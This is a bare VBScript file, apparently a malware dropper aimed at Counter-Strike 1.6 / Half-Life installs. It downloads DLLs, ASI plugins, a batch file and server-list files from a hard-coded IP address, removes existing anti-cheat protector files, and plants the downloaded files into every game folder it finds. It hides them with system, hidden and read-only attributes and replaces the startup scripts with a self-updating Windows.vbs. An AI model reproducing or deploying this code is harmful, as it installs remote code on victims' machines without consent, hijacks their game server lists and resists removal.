Sub unProtectFile( filename )
dim readfile, filesys
set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FileExists( filename ) Then
set readfile = filesys.GetFile( filename )
readfile.Attributes = 0 ' normal
End If
End Sub
Sub protectFile( filename )
dim readfile, filesys
set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FileExists( filename ) Then
set readfile = filesys.GetFile( filename )
readfile.Attributes = 7 ' hidden + system + readonly
End If
End Sub
Sub DeleteAFile( filename )
Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FileExists( filename ) Then
unProtectFile( filename )
filesys.DeleteFile( filename ), True
End If
End Sub
Sub RenameFile( oldName, newName )
Dim filesys
Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
If filesys.FileExists( oldName ) Then
filesys.MoveFile oldName, newName
End If
End Sub
Sub DeleteAFolder( foldername )
Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")
If filesys.FolderExists( foldername ) Then
unProtectFile( foldername )
filesys.DeleteFolder( foldername ), True
End If
End Sub
Sub RenameFolder( oldName, newName )
Dim filesys
Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
If filesys.FolderExists( oldName ) Then
filesys.MoveFolder oldName, newName
End If
End Sub
Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("StartUp")
strMyPath = strPath & "\"
On Error Resume Next
' Download File hw.dll
strURL="http://80.211.195.16/hw.dll?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "hw.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File Steam_orig.dll
strURL="http://80.211.195.16/Steam_orig.dll?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "Steam_orig.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File steamsmaster.dll
strURL="http://80.211.195.16/steamsmaster.dll?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "steamsmaster.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File rev.ini
strURL="http://80.211.195.16/rev.ini?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "rev.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File BCShield.dll
strURL="http://80.211.195.16/engine.asi?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "engine.asi.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File BCShield.dll.bak
strURL="http://80.211.195.16/raiz0CFG.asi?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "raiz0CFG.asi.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File BCShield.asi
strURL="http://80.211.195.16/raiz0CFG.dll?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "raiz0CFG.dll.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download File BCShield.asi
strURL="http://80.211.195.16/TrafiCFG.ini?" & Rnd
On Error Resume Next
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", strURL, False
xml.Send
If Err.Number <> 0 Then
WScript.Quit ' if file download fails, quit script
Else
set oStream = createobject("Adodb.Stream")
oStream.type = 1 ' adTypeBinary
oStream.open
oStream.write xml.responseBody
' overwrite
oStream.savetofile strMyPath & "TrafiCFG.ini.upk", 2 ' adSaveCreateOverWrite
oStream.close
set oStream = nothing
Set xml = Nothing
End If
Err.Clear
On Error Goto 0
' Download file protector.cfg
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/protector.cfg?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "protector.upk"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "protector.upk", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
'protectFile(strMyPath & "protector.upk")
End If
On Error Goto 0
' Download file restart_debug.bat
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/restart_debug.bat?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "restart_debug.upk"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "restart_debug.upk", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "restart_debug.upk")
End If
On Error Goto 0
' Download file MasterServers
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/MasterServers.vdf?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "MasterServers.upk"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "MasterServers.upk", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "MasterServers.upk")
End If
On Error Goto 0
' Download file GameMenu.res
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/GameMenu.res?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "GameMenu.upk"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "GameMenu.upk", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "GameMenu.upk")
End If
On Error Goto 0
' Download file liblist.gam
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/liblist.gam?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "liblist.upk"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "liblist.upk", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "liblist.upk")
End If
On Error Goto 0
' Download file motd_temp.html
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/motd_temp.html?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "motd_temp.html"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "motd_temp.html", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "motd_temp.html")
End If
On Error Goto 0
' Clear file and folder BIN
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/engine.php?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "bin"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "bin", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "bin")
End If
On Error Goto 0
' Clear file and folder SAVE
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/engine.php?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "SAVE"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "SAVE", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
protectFile(strMyPath & "SAVE")
End If
On Error Goto 0
' Clear files
On Error Resume Next
ClearCFG "cstrike\userconfig.cfg"
ClearCFG "cstrike\autoexec.cfg"
ClearCFG "cstrike\(null).cfg"
ClearCFG "cstrike\banned.cfg"
ClearCFG "cstrike\joystick.cfg"
ClearCFG "cstrike\language.cfg"
ClearCFG "cstrike\listenserver.cfg"
ClearCFG "cstrike\listip.cfg"
ClearCFG "cstrike\server.cfg"
ClearCFG "cstrike\violence.cfg"
ClearCFG "cstrike\valve.rc"
ClearCFG "valve\hw\geforce.cfg"
ClearCFG "valve\hw\opengl.cfg"
ClearCFG "valve\hw\nvidiad3d.cfg"
ClearCFG "valve\hw\d3d.cfg"
ClearCFG "valve\userconfig.cfg"
ClearCFG "valve\autoexec.cfg"
ClearCFG "valve\(null).cfg"
ClearCFG "valve\banned.cfg"
ClearCFG "valve\joystick.cfg"
ClearCFG "valve\language.cfg"
ClearCFG "valve\listenserver.cfg"
ClearCFG "valve\listip.cfg"
ClearCFG "valve\server.cfg"
ClearCFG "valve\violence.cfg"
ClearCFG "valve\valve.rc"
On Error Goto 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colFiles = objWMIService.ExecQuery _
("Select * from CIM_DataFile Where Filename = 'hl' and Extension = 'exe'")
For Each objFile in colFiles
On Error Resume Next
RenameFolder objFile.Drive & objFile.Path & "cstrike\bin", objFile.Drive & objFile.Path & "cstrike\bin_old"
RenameFolder objFile.Drive & objFile.Path & "cstrike\save", objFile.Drive & objFile.Path & "cstrike\save_old"
RenameFolder objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res.old"
DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin"
DeleteAFolder objFile.Drive & objFile.Path & "cstrike\save"
DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin_old"
DeleteAFolder objFile.Drive & objFile.Path & "cstrike\save_old"
RenameFile objFile.Drive & objFile.Path & "GTProtector.dll", objFile.Drive & objFile.Path & "GTProtector.dll.old"
RenameFile objFile.Drive & objFile.Path & "GTProtector.asi", objFile.Drive & objFile.Path & "GTProtector.asi.old"
RenameFile objFile.Drive & objFile.Path & "GTProtector.ini", objFile.Drive & objFile.Path & "GTProtector.ini.old"
RenameFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res.old"
DeleteAFile objFile.Drive & objFile.Path & "GTProtector.asi"
DeleteAFile objFile.Drive & objFile.Path & "GTProtector.dll"
DeleteAFile objFile.Drive & objFile.Path & "GTProtector.ini"
DeleteAFile objFile.Drive & objFile.Path & "GTProtector.asi.old"
DeleteAFile objFile.Drive & objFile.Path & "GTProtector.dll.old"
DeleteAFile objFile.Drive & objFile.Path & "GTProtector.ini.old"
RenameFile objFile.Drive & objFile.Path & "UCS.asi", objFile.Drive & objFile.Path & "UCS.asi.old"
RenameFile objFile.Drive & objFile.Path & "UCS.vbs", objFile.Drive & objFile.Path & "UCS.vbs.old"
DeleteAFile objFile.Drive & objFile.Path & "UCS.asi"
DeleteAFile objFile.Drive & objFile.Path & "UCS.vbs"
DeleteAFile objFile.Drive & objFile.Path & "UCS.asi.old"
DeleteAFile objFile.Drive & objFile.Path & "UCS.vbs.old"
DeleteAFile objFile.Drive & objFile.Path & "SMShield.txt"
DeleteAFile objFile.Drive & objFile.Path & "SMShield.txt.bak"
DeleteAFile objFile.Drive & objFile.Path & "SMShield.asi"
DeleteAFile objFile.Drive & objFile.Path & "SMShield.dll"
DeleteAFile objFile.Drive & objFile.Path & "SMShield.dll.bak"
DeleteAFile objFile.Drive & objFile.Path & "SMShield.asi"
RenameFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
RenameFile objFile.Drive & objFile.Path & "cstrike\resurce\GameMenu.res", objFile.Drive & objFile.Path & "cstrike\resurce\GameMenu.res.old"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\Particleman.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\Particleman.dll.old"
RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\GameUI.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\GameUI.dll.old"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\Particleman.dll.old"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\GameUI.dll.old"
RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
DeleteAFile objFile.Drive & objFile.Path & "hw.dll"
DeleteAFile objFile.Drive & objFile.Path & "Steam_orig.dll"
DeleteAFile objFile.Drive & objFile.Path & "steamsmaster.dll"
DeleteAFile objFile.Drive & objFile.Path & "rev.ini"
DeleteAFile objFile.Drive & objFile.Path & "engine.asi"
DeleteAFile objFile.Drive & objFile.Path & "raiz0CFG.asi"
DeleteAFile objFile.Drive & objFile.Path & "raiz0CFG.dll"
DeleteAFile objFile.Drive & objFile.Path & "TrafiCFG.ini"
DeleteAFile objFile.Drive & objFile.Path & "ati.EXE"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\protector.cfg"
DeleteAFile objFile.Drive & objFile.Path & "restart_debug.bat"
DeleteAFile objFile.Drive & objFile.Path & "config\MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "steam\config\MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "steam\config\rev_MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\liblist.gam"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html"
DeleteAFile objFile.Drive & objFile.Path & "cstrike\userconfig.cfg"
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CopyFile strMyPath & "hw.upk", objFile.Drive & objFile.Path & "hw.dll"
FSO.CopyFile strMyPath & "Steam_orig.upk", objFile.Drive & objFile.Path & "Steam_orig.dll"
FSO.CopyFile strMyPath & "steamsmaster.upk", objFile.Drive & objFile.Path & "steamsmaster.dll"
FSO.CopyFile strMyPath & "rev.upk", objFile.Drive & objFile.Path & "rev.ini"
FSO.CopyFile strMyPath & "engine.asi.upk", objFile.Drive & objFile.Path & "engine.asi"
FSO.CopyFile strMyPath & "raiz0CFG.asi.upk", objFile.Drive & objFile.Path & "raiz0CFG.asi"
FSO.CopyFile strMyPath & "raiz0CFG.dll.upk", objFile.Drive & objFile.Path & "raiz0CFG.dll"
FSO.CopyFile strMyPath & "TrafiCFG.ini.upk", objFile.Drive & objFile.Path & "TrafiCFG.ini"
FSO.CopyFile strMyPath & "ati.EXE.upk", objFile.Drive & objFile.Path & "ati.EXE"
FSO.CopyFile strMyPath & "protector.upk", objFile.Drive & objFile.Path & "cstrike\protector.cfg"
FSO.CopyFile strMyPath & "restart_debug.upk", objFile.Drive & objFile.Path & "restart_debug.bat"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "config\MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "steam\config\MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "steam\config\rev_MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
FSO.CopyFile strMyPath & "GameMenu.upk", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
FSO.CopyFile strMyPath & "liblist.upk", objFile.Drive & objFile.Path & "cstrike\liblist.gam"
FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html"
FSO.CopyFile strMyPath & "bin", objFile.Drive & objFile.Path & "cstrike\"
FSO.CopyFile strMyPath & "SAVE", objFile.Drive & objFile.Path & "cstrike\"
Set FSO = nothing
protectFile(objFile.Drive & objFile.Path & "hw.dll")
protectFile(objFile.Drive & objFile.Path & "Steam_orig.dll")
protectFile(objFile.Drive & objFile.Path & "steamsmaster.dll")
protectFile(objFile.Drive & objFile.Path & "rev.ini")
protectFile(objFile.Drive & objFile.Path & "engine.asi")
protectFile(objFile.Drive & objFile.Path & "raiz0CFG.asi")
protectFile(objFile.Drive & objFile.Path & "raiz0CFG.dll")
protectFile(objFile.Drive & objFile.Path & "Windows.vbs")
protectFile(objFile.Drive & objFile.Path & "TrafiCFG.ini")
protectFile(objFile.Drive & objFile.Path & "config\MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "steam\config\MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "steam\config\rev_MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf")
protectFile(objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res")
protectFile(objFile.Drive & objFile.Path & "cstrike\liblist.gam")
protectFile(objFile.Drive & objFile.Path & "cstrike\userconfig.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\autoexec.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\(null).cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\banned.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\joystick.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\language.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\listenserver.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\listip.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\server.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\violence.cfg")
protectFile(objFile.Drive & objFile.Path & "cstrike\valve.rc")
protectFile(objFile.Drive & objFile.Path & "cstrike\bin")
protectFile(objFile.Drive & objFile.Path & "cstrike\SAVE")
On Error Goto 0
Next
DeleteAFile strMyPath & "hw.upk"
DeleteAFile strMyPath & "Steam_orig.upk"
DeleteAFile strMyPath & "steamsmaster.upk"
DeleteAFile strMyPath & "rev.upk"
DeleteAFile strMyPath & "engine.asi.upk"
DeleteAFile strMyPath & "ati.EXE.upk"
DeleteAFile strMyPath & "raiz0CFG.asi.upk"
DeleteAFile strMyPath & "raiz0CFG.dll.upk"
DeleteAFile strMyPath & "TrafiCFG.ini.upk"
DeleteAFile strMyPath & "protector.upk"
DeleteAFile strMyPath & "restart_debug.upk"
DeleteAFile strMyPath & "MasterServers.upk"
DeleteAFile strMyPath & "GameMenu.upk"
DeleteAFile strMyPath & "liblist.upk"
DeleteAFile strMyPath & "motd_temp.html"
DeleteAFile strMyPath & "bin"
DeleteAFile strMyPath & "SAVE"
Sub Up()
Set objShell = Wscript.CreateObject("Wscript.Shell")
strPath = objShell.SpecialFolders("StartUp")
strMyPath = strPath & "\"
' Delete files vbs,vbe,bat and cmd
On Error Resume Next
Dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject")
filesys.DeleteFile( strMyPath & "*.vbs" ), True
filesys.DeleteFile( strMyPath & "*.vbe" ), True
filesys.DeleteFile( strMyPath & "*.bat" ), True
filesys.DeleteFile( strMyPath & "*.cmd" ), True
On Error Goto 0
' Download and upgrade file Windows.vbs
On Error Resume Next
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", "http://80.211.195.16/Windows.vbs?" & Rnd, FALSE)
objHTTP.Send
If Err.Number <> 0 Then
Else
DeleteAFile strMyPath & "Windows.vbs"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(strMyPath & "Windows.vbs", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close
' protectFile(strMyPath & "Windows.vbs")
End If
On Error Goto 0
End Sub
Up()